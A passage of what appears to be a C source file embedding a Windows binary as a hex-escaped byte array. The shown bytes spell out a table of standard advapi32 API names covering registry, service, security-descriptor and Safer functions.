\"\\x41\\x67\\x65\\x6E\\x74\\x73\\x4F\\x6E\\x45\\x6E\\x63\\x72\\x79\\x70\\x74\\x65\"   //AgentsOnEncrypte\n/* 008040 */   \"\\x64\\x46\\x69\\x6C\\x65\\x00\\x51\\x75\\x65\\x72\\x79\\x53\\x65\\x72\\x76\\x69\"   //dFile.QueryServi\n/* 008060 */   \"\\x63\\x65\\x43\\x6F\\x6E\\x66\\x69\\x67\\x32\\x41\\x00\\x51\\x75\\x65\\x72\\x79\"   //ceConfig2A.Query\n/* 008080 */   \"\\x53\\x65\\x72\\x76\\x69\\x63\\x65\\x43\\x6F\\x6E\\x66\\x69\\x67\\x32\\x57\\x00\"   //ServiceConfig2W.\n/* 0080A0 */   \"\\x51\\x75\\x65\\x72\\x79\\x53\\x65\\x72\\x76\\x69\\x63\\x65\\x43\\x6F\\x6E\\x66\"   //QueryServiceConf\n/* 0080C0 */   \"\\x69\\x67\\x41\\x00\\x51\\x75\\x65\\x72\\x79\\x53\\x65\\x72\\x76\\x69\\x63\\x65\"   //igA.QueryService\n/* 0080E0 */   \"\\x43\\x6F\\x6E\\x66\\x69\\x67\\x57\\x00\\x51\\x75\\x65\\x72\\x79\\x53\\x65\\x72\"   //ConfigW.QuerySer\n/* 008100 */   \"\\x76\\x69\\x63\\x65\\x4C\\x6F\\x63\\x6B\\x53\\x74\\x61\\x74\\x75\\x73\\x41\\x00\"   //viceLockStatusA.\n/* 008120 */   \"\\x51\\x75\\x65\\x72\\x79\\x53\\x65\\x72\\x76\\x69\\x63\\x65\\x4C\\x6F\\x63\\x6B\"   //QueryServiceLock\n/* 008140 */   \"\\x53\\x74\\x61\\x74\\x75\\x73\\x57\\x00\\x51\\x75\\x65\\x72\\x79\\x53\\x65\\x72\"   //StatusW.QuerySer\n/* 008160 */   \"\\x76\\x69\\x63\\x65\\x4F\\x62\\x6A\\x65\\x63\\x74\\x53\\x65\\x63\\x75\\x72\\x69\"   //viceObjectSecuri\n/* 008180 */   \"\\x74\\x79\\x00\\x51\\x75\\x65\\x72\\x79\\x53\\x65\\x72\\x76\\x69\\x63\\x65\\x53\"   //ty.QueryServiceS\n/* 0081A0 */   \"\\x74\\x61\\x74\\x75\\x73\\x00\\x51\\x75\\x65\\x72\\x79\\x53\\x65\\x72\\x76\\x69\"   //tatus.QueryServi\n/* 0081C0 */   \"\\x63\\x65\\x53\\x74\\x61\\x74\\x75\\x73\\x45\\x78\\x00\\x51\\x75\\x65\\x72\\x79\"   //ceStatusEx.Query\n/* 0081E0 */   \"\\x54\\x72\\x61\\x63\\x65\\x41\\x00\\x51\\x75\\x65\\x72\\x79\\x54\\x72\\x61\\x63\"   //TraceA.QueryTrac\n/* 008200 */   \"\\x65\\x57\\x00\\x51\\x75\\x65\\x72\\x79\\x55\\x73\\x65\\x72\\x73\\x4F\\x6E\\x45\"   //eW.QueryUsersOnE\n/* 008220 */   \"\\x6E\\x63\\x72\\x79\\x70\\x74\\x65\\x64\\x46\\x69\\x6C\\x65\\x00\\x51\\x75\\x65\"   //ncryptedFile.Que\n/* 008240 */   \"\\x72\\x79\\x57\\x69\\x6E\\x64\\x6F\\x77\\x73\\x33\\x31\\x46\\x69\\x6C\\x65\\x73\"   //ryWindows31Files\n/* 008260 */   \"\\x4D\\x69\\x67\\x72\\x61\\x74\\x69\\x6F\\x6E\\x00\\x52\\x65\\x61\\x64\\x45\\x6E\"   //Migration.ReadEn\n/* 008280 */   \"\\x63\\x72\\x79\\x70\\x74\\x65\\x64\\x46\\x69\\x6C\\x65\\x52\\x61\\x77\\x00\\x52\"   //cryptedFileRaw.R\n/* 0082A0 */   \"\\x65\\x61\\x64\\x45\\x76\\x65\\x6E\\x74\\x4C\\x6F\\x67\\x41\\x00\\x52\\x65\\x61\"   //eadEventLogA.Rea\n/* 0082C0 */   \"\\x64\\x45\\x76\\x65\\x6E\\x74\\x4C\\x6F\\x67\\x57\\x00\\x52\\x65\\x67\\x43\\x6C\"   //dEventLogW.RegCl\n/* 0082E0 */   \"\\x6F\\x73\\x65\\x4B\\x65\\x79\\x00\\x52\\x65\\x67\\x43\\x6F\\x6E\\x6E\\x65\\x63\"   //oseKey.RegConnec\n/* 008300 */   \"\\x74\\x52\\x65\\x67\\x69\\x73\\x74\\x72\\x79\\x41\\x00\\x52\\x65\\x67\\x43\\x6F\"   //tRegistryA.RegCo\n/* 008320 */   \"\\x6E\\x6E\\x65\\x63\\x74\\x52\\x65\\x67\\x69\\x73\\x74\\x72\\x79\\x57\\x00\\x52\"   //nnectRegistryW.R\n/* 008340 */   \"\\x65\\x67\\x43\\x72\\x65\\x61\\x74\\x65\\x4B\\x65\\x79\\x41\\x00\\x52\\x65\\x67\"   //egCreateKeyA.Reg\n/* 008360 */   \"\\x43\\x72\\x65\\x61\\x74\\x65\\x4B\\x65\\x79\\x45\\x78\\x41\\x00\\x52\\x65\\x67\"   //CreateKeyExA.Reg\n/* 008380 */   \"\\x43\\x72\\x65\\x61\\x74\\x65\\x4B\\x65\\x79\\x45\\x78\\x57\\x00\\x52\\x65\\x67\"   //CreateKeyExW.Reg\n/* 0083A0 */   \"\\x43\\x72\\x65\\x61\\x74\\x65\\x4B\\x65\\x79\\x57\\x00\\x52\\x65\\x67\\x44\\x65\"   //CreateKeyW.RegDe\n/* 0083C0 */   \"\\x6C\\x65\\x74\\x65\\x4B\\x65\\x79\\x41\\x00\\x52\\x65\\x67\\x44\\x65\\x6C\\x65\"   //leteKeyA.RegDele\n/* 0083E0 */   \"\\x74\\x65\\x4B\\x65\\x79\\x57\\x00\\x52\\x65\\x67\\x44\\x65\\x6C\\x65\\x74\\x65\"   //teKeyW.RegDelete\n/* 008400 */   \"\\x56\\x61\\x6C\\x75\\x65\\x41\\x00\\x52\\x65\\x67\\x44\\x65\\x6C\\x65\\x74\\x65\"   //ValueA.RegDelete\n/* 008420 */   \"\\x56\\x61\\x6C\\x75\\x65\\x57\\x00\\x52\\x65\\x67\\x44\\x69\\x73\\x61\\x62\\x6C\"   //ValueW.RegDisabl\n/* 008440 */   \"\\x65\\x50\\x72\\x65\\x64\\x65\\x66\\x69\\x6E\\x65\\x64\\x43\\x61\\x63\\x68\\x65\"   //ePredefinedCache\n/* 008460 */   \"\\x00\\x52\\x65\\x67\\x44\\x69\\x73\\x61\\x62\\x6C\\x65\\x50\\x72\\x65\\x64\\x65\"   //.RegDisablePrede\n/* 008480 */   \"\\x66\\x69\\x6E\\x65\\x64\\x43\\x61\\x63\\x68\\x65\\x45\\x78\\x00\\x52\\x65\\x67\"   //finedCacheEx.Reg\n/* 0084A0 */   \"\\x45\\x6E\\x75\\x6D\\x4B\\x65\\x79\\x41\\x00\\x52\\x65\\x67\\x45\\x6E\\x75\\x6D\"   //EnumKeyA.RegEnum\n/* 0084C0 */   \"\\x4B\\x65\\x79\\x45\\x78\\x41\\x00\\x52\\x65\\x67\\x45\\x6E\\x75\\x6D\\x4B\\x65\"   //KeyExA.RegEnumKe\n/* 0084E0 */   \"\\x79\\x45\\x78\\x57\\x00\\x52\\x65\\x67\\x45\\x6E\\x75\\x6D\\x4B\\x65\\x79\\x57\"   //yExW.RegEnumKeyW\n/* 008500 */   \"\\x00\\x52\\x65\\x67\\x45\\x6E\\x75\\x6D\\x56\\x61\\x6C\\x75\\x65\\x41\\x00\\x52\"   //.RegEnumValueA.R\n/* 008520 */   \"\\x65\\x67\\x45\\x6E\\x75\\x6D\\x56\\x61\\x6C\\x75\\x65\\x57\\x00\\x52\\x65\\x67\"   //egEnumValueW.Reg\n/* 008540 */   \"\\x46\\x6C\\x75\\x73\\x68\\x4B\\x65\\x79\\x00\\x52\\x65\\x67\\x47\\x65\\x74\\x4B\"   //FlushKey.RegGetK\n/* 008560 */   \"\\x65\\x79\\x53\\x65\\x63\\x75\\x72\\x69\\x74\\x79\\x00\\x52\\x65\\x67\\x4C\\x6F\"   //eySecurity.RegLo\n/* 008580 */   \"\\x61\\x64\\x4B\\x65\\x79\\x41\\x00\\x52\\x65\\x67\\x4C\\x6F\\x61\\x64\\x4B\\x65\"   //adKeyA.RegLoadKe\n/* 0085A0 */   \"\\x79\\x57\\x00\\x52\\x65\\x67\\x4E\\x6F\\x74\\x69\\x66\\x79\\x43\\x68\\x61\\x6E\"   //yW.RegNotifyChan\n/* 0085C0 */   \"\\x67\\x65\\x4B\\x65\\x79\\x56\\x61\\x6C\\x75\\x65\\x00\\x52\\x65\\x67\\x4F\\x70\"   //geKeyValue.RegOp\n/* 0085E0 */   \"\\x65\\x6E\\x43\\x75\\x72\\x72\\x65\\x6E\\x74\\x55\\x73\\x65\\x72\\x00\\x52\\x65\"   //enCurrentUser.Re\n/* 008600 */   \"\\x67\\x4F\\x70\\x65\\x6E\\x4B\\x65\\x79\\x41\\x00\\x52\\x65\\x67\\x4F\\x70\\x65\"   //gOpenKeyA.RegOpe\n/* 008620 */   \"\\x6E\\x4B\\x65\\x79\\x45\\x78\\x41\\x00\\x52\\x65\\x67\\x4F\\x70\\x65\\x6E\\x4B\"   //nKeyExA.RegOpenK\n/* 008640 */   \"\\x65\\x79\\x45\\x78\\x57\\x00\\x52\\x65\\x67\\x4F\\x70\\x65\\x6E\\x4B\\x65\\x79\"   //eyExW.RegOpenKey\n/* 008660 */   \"\\x57\\x00\\x52\\x65\\x67\\x4F\\x70\\x65\\x6E\\x55\\x73\\x65\\x72\\x43\\x6C\\x61\"   //W.RegOpenUserCla\n/* 008680 */   \"\\x73\\x73\\x65\\x73\\x52\\x6F\\x6F\\x74\\x00\\x52\\x65\\x67\\x4F\\x76\\x65\\x72\"   //ssesRoot.RegOver\n/* 0086A0 */   \"\\x72\\x69\\x64\\x65\\x50\\x72\\x65\\x64\\x65\\x66\\x4B\\x65\\x79\\x00\\x52\\x65\"   //ridePredefKey.Re\n/* 0086C0 */   \"\\x67\\x51\\x75\\x65\\x72\\x79\\x49\\x6E\\x66\\x6F\\x4B\\x65\\x79\\x41\\x00\\x52\"   //gQueryInfoKeyA.R\n/* 0086E0 */   \"\\x65\\x67\\x51\\x75\\x65\\x72\\x79\\x49\\x6E\\x66\\x6F\\x4B\\x65\\x79\\x57\\x00\"   //egQueryInfoKeyW.\n/* 008700 */   \"\\x52\\x65\\x67\\x51\\x75\\x65\\x72\\x79\\x4D\\x75\\x6C\\x74\\x69\\x70\\x6C\\x65\"   //RegQueryMultiple\n/* 008720 */   \"\\x56\\x61\\x6C\\x75\\x65\\x73\\x41\\x00\\x52\\x65\\x67\\x51\\x75\\x65\\x72\\x79\"   //ValuesA.RegQuery\n/* 008740 */   \"\\x4D\\x75\\x6C\\x74\\x69\\x70\\x6C\\x65\\x56\\x61\\x6C\\x75\\x65\\x73\\x57\\x00\"   //MultipleValuesW.\n/* 008760 */   \"\\x52\\x65\\x67\\x51\\x75\\x65\\x72\\x79\\x56\\x61\\x6C\\x75\\x65\\x41\\x00\\x52\"   //RegQueryValueA.R\n/* 008780 */   \"\\x65\\x67\\x51\\x75\\x65\\x72\\x79\\x56\\x61\\x6C\\x75\\x65\\x45\\x78\\x41\\x00\"   //egQueryValueExA.\n/* 0087A0 */   \"\\x52\\x65\\x67\\x51\\x75\\x65\\x72\\x79\\x56\\x61\\x6C\\x75\\x65\\x45\\x78\\x57\"   //RegQueryValueExW\n/* 0087C0 */   \"\\x00\\x52\\x65\\x67\\x51\\x75\\x65\\x72\\x79\\x56\\x61\\x6C\\x75\\x65\\x57\\x00\"   //.RegQueryValueW.\n/* 0087E0 */   \"\\x52\\x65\\x67\\x52\\x65\\x70\\x6C\\x61\\x63\\x65\\x4B\\x65\\x79\\x41\\x00\\x52\"   //RegReplaceKeyA.R\n/* 008800 */   \"\\x65\\x67\\x52\\x65\\x70\\x6C\\x61\\x63\\x65\\x4B\\x65\\x79\\x57\\x00\\x52\\x65\"   //egReplaceKeyW.Re\n/* 008820 */   \"\\x67\\x52\\x65\\x73\\x74\\x6F\\x72\\x65\\x4B\\x65\\x79\\x41\\x00\\x52\\x65\\x67\"   //gRestoreKeyA.Reg\n/* 008840 */   \"\\x52\\x65\\x73\\x74\\x6F\\x72\\x65\\x4B\\x65\\x79\\x57\\x00\\x52\\x65\\x67\\x53\"   //RestoreKeyW.RegS\n/* 008860 */   \"\\x61\\x76\\x65\\x4B\\x65\\x79\\x41\\x00\\x52\\x65\\x67\\x53\\x61\\x76\\x65\\x4B\"   //aveKeyA.RegSaveK\n/* 008880 */   \"\\x65\\x79\\x45\\x78\\x41\\x00\\x52\\x65\\x67\\x53\\x61\\x76\\x65\\x4B\\x65\\x79\"   //eyExA.RegSaveKey\n/* 0088A0 */   \"\\x45\\x78\\x57\\x00\\x52\\x65\\x67\\x53\\x61\\x76\\x65\\x4B\\x65\\x79\\x57\\x00\"   //ExW.RegSaveKeyW.\n/* 0088C0 */   \"\\x52\\x65\\x67\\x53\\x65\\x74\\x4B\\x65\\x79\\x53\\x65\\x63\\x75\\x72\\x69\\x74\"   //RegSetKeySecurit\n/* 0088E0 */   \"\\x79\\x00\\x52\\x65\\x67\\x53\\x65\\x74\\x56\\x61\\x6C\\x75\\x65\\x41\\x00\\x52\"   //y.RegSetValueA.R\n/* 008900 */   \"\\x65\\x67\\x53\\x65\\x74\\x56\\x61\\x6C\\x75\\x65\\x45\\x78\\x41\\x00\\x52\\x65\"   //egSetValueExA.Re\n/* 008920 */   \"\\x67\\x53\\x65\\x74\\x56\\x61\\x6C\\x75\\x65\\x45\\x78\\x57\\x00\\x52\\x65\\x67\"   //gSetValueExW.Reg\n/* 008940 */   \"\\x53\\x65\\x74\\x56\\x61\\x6C\\x75\\x65\\x57\\x00\\x52\\x65\\x67\\x55\\x6E\\x4C\"   //SetValueW.RegUnL\n/* 008960 */   \"\\x6F\\x61\\x64\\x4B\\x65\\x79\\x41\\x00\\x52\\x65\\x67\\x55\\x6E\\x4C\\x6F\\x61\"   //oadKeyA.RegUnLoa\n/* 008980 */   \"\\x64\\x4B\\x65\\x79\\x57\\x00\\x52\\x65\\x67\\x69\\x73\\x74\\x65\\x72\\x45\\x76\"   //dKeyW.RegisterEv\n/* 0089A0 */   \"\\x65\\x6E\\x74\\x53\\x6F\\x75\\x72\\x63\\x65\\x41\\x00\\x52\\x65\\x67\\x69\\x73\"   //entSourceA.Regis\n/* 0089C0 */   \"\\x74\\x65\\x72\\x45\\x76\\x65\\x6E\\x74\\x53\\x6F\\x75\\x72\\x63\\x65\\x57\\x00\"   //terEventSourceW.\n/* 0089E0 */   \"\\x52\\x65\\x67\\x69\\x73\\x74\\x65\\x72\\x49\\x64\\x6C\\x65\\x54\\x61\\x73\\x6B\"   //RegisterIdleTask\n/* 008A00 */   \"\\x00\\x52\\x65\\x67\\x69\\x73\\x74\\x65\\x72\\x53\\x65\\x72\\x76\\x69\\x63\\x65\"   //.RegisterService\n/* 008A20 */   \"\\x43\\x74\\x72\\x6C\\x48\\x61\\x6E\\x64\\x6C\\x65\\x72\\x41\\x00\\x52\\x65\\x67\"   //CtrlHandlerA.Reg\n/* 008A40 */   \"\\x69\\x73\\x74\\x65\\x72\\x53\\x65\\x72\\x76\\x69\\x63\\x65\\x43\\x74\\x72\\x6C\"   //isterServiceCtrl\n/* 008A60 */   \"\\x48\\x61\\x6E\\x64\\x6C\\x65\\x72\\x45\\x78\\x41\\x00\\x52\\x65\\x67\\x69\\x73\"   //HandlerExA.Regis\n/* 008A80 */   \"\\x74\\x65\\x72\\x53\\x65\\x72\\x76\\x69\\x63\\x65\\x43\\x74\\x72\\x6C\\x48\\x61\"   //terServiceCtrlHa\n/* 008AA0 */   \"\\x6E\\x64\\x6C\\x65\\x72\\x45\\x78\\x57\\x00\\x52\\x65\\x67\\x69\\x73\\x74\\x65\"   //ndlerExW.Registe\n/* 008AC0 */   \"\\x72\\x53\\x65\\x72\\x76\\x69\\x63\\x65\\x43\\x74\\x72\\x6C\\x48\\x61\\x6E\\x64\"   //rServiceCtrlHand\n/* 008AE0 */   \"\\x6C\\x65\\x72\\x57\\x00\\x52\\x65\\x67\\x69\\x73\\x74\\x65\\x72\\x54\\x72\\x61\"   //lerW.RegisterTra\n/* 008B00 */   \"\\x63\\x65\\x47\\x75\\x69\\x64\\x73\\x41\\x00\\x52\\x65\\x67\\x69\\x73\\x74\\x65\"   //ceGuidsA.Registe\n/* 008B20 */   \"\\x72\\x54\\x72\\x61\\x63\\x65\\x47\\x75\\x69\\x64\\x73\\x57\\x00\\x52\\x65\\x6D\"   //rTraceGuidsW.Rem\n/* 008B40 */   \"\\x6F\\x76\\x65\\x54\\x72\\x61\\x63\\x65\\x43\\x61\\x6C\\x6C\\x62\\x61\\x63\\x6B\"   //oveTraceCallback\n/* 008B60 */   \"\\x00\\x52\\x65\\x6D\\x6F\\x76\\x65\\x55\\x73\\x65\\x72\\x73\\x46\\x72\\x6F\\x6D\"   //.RemoveUsersFrom\n/* 008B80 */   \"\\x45\\x6E\\x63\\x72\\x79\\x70\\x74\\x65\\x64\\x46\\x69\\x6C\\x65\\x00\\x52\\x65\"   //EncryptedFile.Re\n/* 008BA0 */   \"\\x70\\x6F\\x72\\x74\\x45\\x76\\x65\\x6E\\x74\\x41\\x00\\x52\\x65\\x70\\x6F\\x72\"   //portEventA.Repor\n/* 008BC0 */   \"\\x74\\x45\\x76\\x65\\x6E\\x74\\x57\\x00\\x52\\x65\\x76\\x65\\x72\\x74\\x54\\x6F\"   //tEventW.RevertTo\n/* 008BE0 */   \"\\x53\\x65\\x6C\\x66\\x00\\x53\\x61\\x66\\x65\\x72\\x43\\x6C\\x6F\\x73\\x65\\x4C\"   //Self.SaferCloseL\n/* 008C00 */   \"\\x65\\x76\\x65\\x6C\\x00\\x53\\x61\\x66\\x65\\x72\\x43\\x6F\\x6D\\x70\\x75\\x74\"   //evel.SaferComput\n/* 008C20 */   \"\\x65\\x54\\x6F\\x6B\\x65\\x6E\\x46\\x72\\x6F\\x6D\\x4C\\x65\\x76\\x65\\x6C\\x00\"   //eTokenFromLevel.\n/* 008C40 */   \"\\x53\\x61\\x66\\x65\\x72\\x43\\x72\\x65\\x61\\x74\\x65\\x4C\\x65\\x76\\x65\\x6C\"   //SaferCreateLevel\n/* 008C60 */   \"\\x00\\x53\\x61\\x66\\x65\\x72\\x47\\x65\\x74\\x4C\\x65\\x76\\x65\\x6C\\x49\\x6E\"   //.SaferGetLevelIn\n/* 008C80 */   \"\\x66\\x6F\\x72\\x6D\\x61\\x74\\x69\\x6F\\x6E\\x00\\x53\\x61\\x66\\x65\\x72\\x47\"   //formation.SaferG\n/* 008CA0 */   \"\\x65\\x74\\x50\\x6F\\x6C\\x69\\x63\\x79\\x49\\x6E\\x66\\x6F\\x72\\x6D\\x61\\x74\"   //etPolicyInformat\n/* 008CC0 */   \"\\x69\\x6F\\x6E\\x00\\x53\\x61\\x66\\x65\\x72\\x49\\x64\\x65\\x6E\\x74\\x69\\x66\"   //ion.SaferIdentif\n/* 008CE0 */   \"\\x79\\x4C\\x65\\x76\\x65\\x6C\\x00\\x53\\x61\\x66\\x65\\x72\\x52\\x65\\x63\\x6F\"   //yLevel.SaferReco\n/* 008D00 */   \"\\x72\\x64\\x45\\x76\\x65\\x6E\\x74\\x4C\\x6F\\x67\\x45\\x6E\\x74\\x72\\x79\\x00\"   //rdEventLogEntry.\n/* 008D20 */   \"\\x53\\x61\\x66\\x65\\x72\\x53\\x65\\x74\\x4C\\x65\\x76\\x65\\x6C\\x49\\x6E\\x66\"   //SaferSetLevelInf\n/* 008D40 */   \"\\x6F\\x72\\x6D\\x61\\x74\\x69\\x6F\\x6E\\x00\\x53\\x61\\x66\\x65\\x72\\x53\\x65\"   //ormation.SaferSe\n/* 008D60 */   \"\\x74\\x50\\x6F\\x6C\\x69\\x63\\x79\\x49\\x6E\\x66\\x6F\\x72\\x6D\\x61\\x74\\x69\"   //tPolicyInformati\n/* 008D80 */   \"\\x6F\\x6E\\x00\\x53\\x61\\x66\\x65\\x72\\x69\\x43\\x68\\x61\\x6E\\x67\\x65\\x52\"   //on.SaferiChangeR\n/* 008DA0 */   \"\\x65\\x67\\x69\\x73\\x74\\x72\\x79\\x53\\x63\\x6F\\x70\\x65\\x00\\x53\\x61\\x66\"   //egistryScope.Saf\n/* 008DC0 */   \"\\x65\\x72\\x69\\x43\\x6F\\x6D\\x70\\x61\\x72\\x65\\x54\\x6F\\x6B\\x65\\x6E\\x4C\"   //eriCompareTokenL\n/* 008DE0 */   \"\\x65\\x76\\x65\\x6C\\x73\\x00\\x53\\x61\\x66\\x65\\x72\\x69\\x49\\x73\\x45\\x78\"   //evels.SaferiIsEx\n/* 008E00 */   \"\\x65\\x63\\x75\\x74\\x61\\x62\\x6C\\x65\\x46\\x69\\x6C\\x65\\x54\\x79\\x70\\x65\"   //ecutableFileType\n/* 008E20 */   \"\\x00\\x53\\x61\\x66\\x65\\x72\\x69\\x50\\x6F\\x70\\x75\\x6C\\x61\\x74\\x65\\x44\"   //.SaferiPopulateD\n/* 008E40 */   \"\\x65\\x66\\x61\\x75\\x6C\\x74\\x73\\x49\\x6E\\x52\\x65\\x67\\x69\\x73\\x74\\x72\"   //efaultsInRegistr\n/* 008E60 */   \"\\x79\\x00\\x53\\x61\\x66\\x65\\x72\\x69\\x52\\x65\\x63\\x6F\\x72\\x64\\x45\\x76\"   //y.SaferiRecordEv\n/* 008E80 */   \"\\x65\\x6E\\x74\\x4C\\x6F\\x67\\x45\\x6E\\x74\\x72\\x79\\x00\\x53\\x61\\x66\\x65\"   //entLogEntry.Safe\n/* 008EA0 */   \"\\x72\\x69\\x52\\x65\\x70\\x6C\\x61\\x63\\x65\\x50\\x72\\x6F\\x63\\x65\\x73\\x73\"   //riReplaceProcess\n/* 008EC0 */   \"\\x54\\x68\\x72\\x65\\x61\\x64\\x54\\x6F\\x6B\\x65\\x6E\\x73\\x00\\x53\\x61\\x66\"   //ThreadTokens.Saf\n/* 008EE0 */   \"\\x65\\x72\\x69\\x53\\x65\\x61\\x72\\x63\\x68\\x4D\\x61\\x74\\x63\\x68\\x69\\x6E\"   //eriSearchMatchin\n/* 008F00 */   \"\\x67\\x48\\x61\\x73\\x68\\x52\\x75\\x6C\\x65\\x73\\x00\\x53\\x65\\x74\\x41\\x63\"   //gHashRules.SetAc\n/* 008F20 */   \"\\x6C\\x49\\x6E\\x66\\x6F\\x72\\x6D\\x61\\x74\\x69\\x6F\\x6E\\x00\\x53\\x65\\x74\"   //lInformation.Set\n/* 008F40 */   \"\\x45\\x6E\\x74\\x72\\x69\\x65\\x73\\x49\\x6E\\x41\\x63\\x63\\x65\\x73\\x73\\x4C\"   //EntriesInAccessL\n/* 008F60 */   \"\\x69\\x73\\x74\\x41\\x00\\x53\\x65\\x74\\x45\\x6E\\x74\\x72\\x69\\x65\\x73\\x49\"   //istA.SetEntriesI\n/* 008F80 */   \"\\x6E\\x41\\x63\\x63\\x65\\x73\\x73\\x4C\\x69\\x73\\x74\\x57\\x00\\x53\\x65\\x74\"   //nAccessListW.Set\n/* 008FA0 */   \"\\x45\\x6E\\x74\\x72\\x69\\x65\\x73\\x49\\x6E\\x41\\x63\\x6C\\x41\\x00\\x53\\x65\"   //EntriesInAclA.Se\n/* 008FC0 */   \"\\x74\\x45\\x6E\\x74\\x72\\x69\\x65\\x73\\x49\\x6E\\x41\\x63\\x6C\\x57\\x00\\x53\"   //tEntriesInAclW.S\n/* 008FE0 */   \"\\x65\\x74\\x45\\x6E\\x74\\x72\\x69\\x65\\x73\\x49\\x6E\\x41\\x75\\x64\\x69\\x74\"   //etEntriesInAudit\n/* 009000 */   \"\\x4C\\x69\\x73\\x74\\x41\\x00\\x53\\x65\\x74\\x45\\x6E\\x74\\x72\\x69\\x65\\x73\"   //ListA.SetEntries\n/* 009020 */   \"\\x49\\x6E\\x41\\x75\\x64\\x69\\x74\\x4C\\x69\\x73\\x74\\x57\\x00\\x53\\x65\\x74\"   //InAuditListW.Set\n/* 009040 */   \"\\x46\\x69\\x6C\\x65\\x53\\x65\\x63\\x75\\x72\\x69\\x74\\x79\\x41\\x00\\x53\\x65\"   //FileSecurityA.Se\n/* 009060 */   \"\\x74\\x46\\x69\\x6C\\x65\\x53\\x65\\x63\\x75\\x72\\x69\\x74\\x79\\x57\\x00\\x53\"   //tFileSecurityW.S\n/* 009080 */   \"\\x65\\x74\\x49\\x6E\\x66\\x6F\\x72\\x6D\\x61\\x74\\x69\\x6F\\x6E\\x43\\x6F\\x64\"   //etInformationCod\n/* 0090A0 */   \"\\x65\\x41\\x75\\x74\\x68\\x7A\\x4C\\x65\\x76\\x65\\x6C\\x57\\x00\\x53\\x65\\x74\"   //eAuthzLevelW.Set\n/* 0090C0 */   \"\\x49\\x6E\\x66\\x6F\\x72\\x6D\\x61\\x74\\x69\\x6F\\x6E\\x43\\x6F\\x64\\x65\\x41\"   //InformationCodeA\n/* 0090E0 */   \"\\x75\\x74\\x68\\x7A\\x50\\x6F\\x6C\\x69\\x63\\x79\\x57\\x00\\x53\\x65\\x74\\x4B\"   //uthzPolicyW.SetK\n/* 009100 */   \"\\x65\\x72\\x6E\\x65\\x6C\\x4F\\x62\\x6A\\x65\\x63\\x74\\x53\\x65\\x63\\x75\\x72\"   //ernelObjectSecur\n/* 009120 */   \"\\x69\\x74\\x79\\x00\\x53\\x65\\x74\\x4E\\x61\\x6D\\x65\\x64\\x53\\x65\\x63\\x75\"   //ity.SetNamedSecu\n/* 009140 */   \"\\x72\\x69\\x74\\x79\\x49\\x6E\\x66\\x6F\\x41\\x00\\x53\\x65\\x74\\x4E\\x61\\x6D\"   //rityInfoA.SetNam\n/* 009160 */   \"\\x65\\x64\\x53\\x65\\x63\\x75\\x72\\x69\\x74\\x79\\x49\\x6E\\x66\\x6F\\x45\\x78\"   //edSecurityInfoEx\n/* 009180 */   \"\\x41\\x00\\x53\\x65\\x74\\x4E\\x61\\x6D\\x65\\x64\\x53\\x65\\x63\\x75\\x72\\x69\"   //A.SetNamedSecuri\n/* 0091A0 */   \"\\x74\\x79\\x49\\x6E\\x66\\x6F\\x45\\x78\\x57\\x00\\x53\\x65\\x74\\x4E\\x61\\x6D\"   //tyInfoExW.SetNam\n/* 0091C0 */   \"\\x65\\x64\\x53\\x65\\x63\\x75\\x72\\x69\\x74\\x79\\x49\\x6E\\x66\\x6F\\x57\\x00\"   //edSecurityInfoW.\n/* 0091E0 */   \"\\x53\\x65\\x74\\x50\\x72\\x69\\x76\\x61\\x74\\x65\\x4F\\x62\\x6A\\x65\\x63\\x74\"   //SetPrivateObject\n/* 009200 */   \"\\x53\\x65\\x63\\x75\\x72\\x69\\x74\\x79\\x00\\x53\\x65\\x74\\x50\\x72\\x69\\x76\"   //Security.SetPriv\n/* 009220 */   \"\\x61\\x74\\x65\\x4F\\x62\\x6A\\x65\\x63\\x74\\x53\\x65\\x63\\x75\\x72\\x69\\x74\"   //ateObjectSecurit\n/* 009240 */   \"\\x79\\x45\\x78\\x00\\x53\\x65\\x74\\x53\\x65\\x63\\x75\\x72\\x69\\x74\\x79\\x44\"   //yEx.SetSecurityD\n/* 009260 */   \"\\x65\\x73\\x63\\x72\\x69\\x70\\x74\\x6F\\x72\\x43\\x6F\\x6E\\x74\\x72\\x6F\\x6C\"   //escriptorControl\n/* 009280 */   \"\\x00\\x53\\x65\\x74\\x53\\x65\\x63\\x75\\x72\\x69\\x74\\x79\\x44\\x65\\x73\\x63\"   //.SetSecurityDesc\n/* 0092A0 */   \"\\x72\\x69\\x70\\x74\\x6F\\x72\\x44\\x61\\x63\\x6C\\x00\\x53\\x65\\x74\\x53\\x65\"   //riptorDacl.SetSe\n/* 0092C0 */   \"\\x63\\x75\\x72\\x69\\x74\\x79\\x44\\x65\\x73\\x63\\x72\\x69\\x70\\x74\\x6F\\x72\"   //curityDescriptor\n/* 0092E0 */   \"\\x47\\x72\\x6F\\x75\\x70\\x00\\x53\\x65\\x74\\x53\\x65\\x63\\x75\\x72\\x69\\x74\"   //Group.SetSecurit\n/* 009300 */   \"\\x79\\x44\\x65\\x73\\x63\\x72\\x69\\x70\\x74\\x6F\\x72\\x4F\\x77\\x6E\\x65\\x72\"   //yDescriptorOwner\n/* 009320 */   \"\\x00\\x53\\x65\\x74\\x53\\x65\\x63\\x75\\x72\\x69\\x74\\x79\\x44\\x65\\x73\\x63\"   //.SetSecurityDesc\n/* 009340 */   \"\\x72\\x69\\x70\\x74\\x6F\\x72\\x52\\x4D\\x43\\x6F\\x6E\\x74\\x72\\x6F\\x6C\\x00\"   //riptorRMControl.\n/* 009360 */   \"\\x53\\x65\\x74\\x53\\x65\\x63\\x75\\x72\\x69\\x74\\x79\\x44\\x65\\x73\\x63\\x72\"   //SetSecurityDescr\n/* 009380 */   \"\\x69\\x70\\x74\\x6F\\x72\\x53\\x61\\x63\\x6C\\x00\\x53\\x65\\x74\\x53\\x65\\x63\"   //iptorSacl.SetSec\n/* 0093A0 */   \"\\x75\\x72\\x69\\x74\\x79\\x49\\x6E\\x66\\x6F\\x00\\x53\\x65\\x74\\x53\\x65\\x63\"   //urityInfo.SetSec\n/* 0093C0 */   \"\\x75\\x72\\x69\\x74\\x79\\x49\\x6E\\x66\\x6F\\x45\\x78\\x41\\x00\\x53\\x65\\x74\"   //urityInfoExA.Set\n/* 0093E0 */   \"\\x53\\x65\\x63\\x75\\x72\\x69\\x74\\x79\\x49\\x6E\\x66\\x6F\\x45\\x78\\x57\\x00\"   //SecurityInfoExW.\n/* 009400 */   \"\\x53\\x65\\x74\\x53\\x65\\x72\\x76\\x69\\x63\\x65\\x42\\x69\\x74\\x73\\x00\\x53\"   //SetServiceBits.S\n/* 009420 */   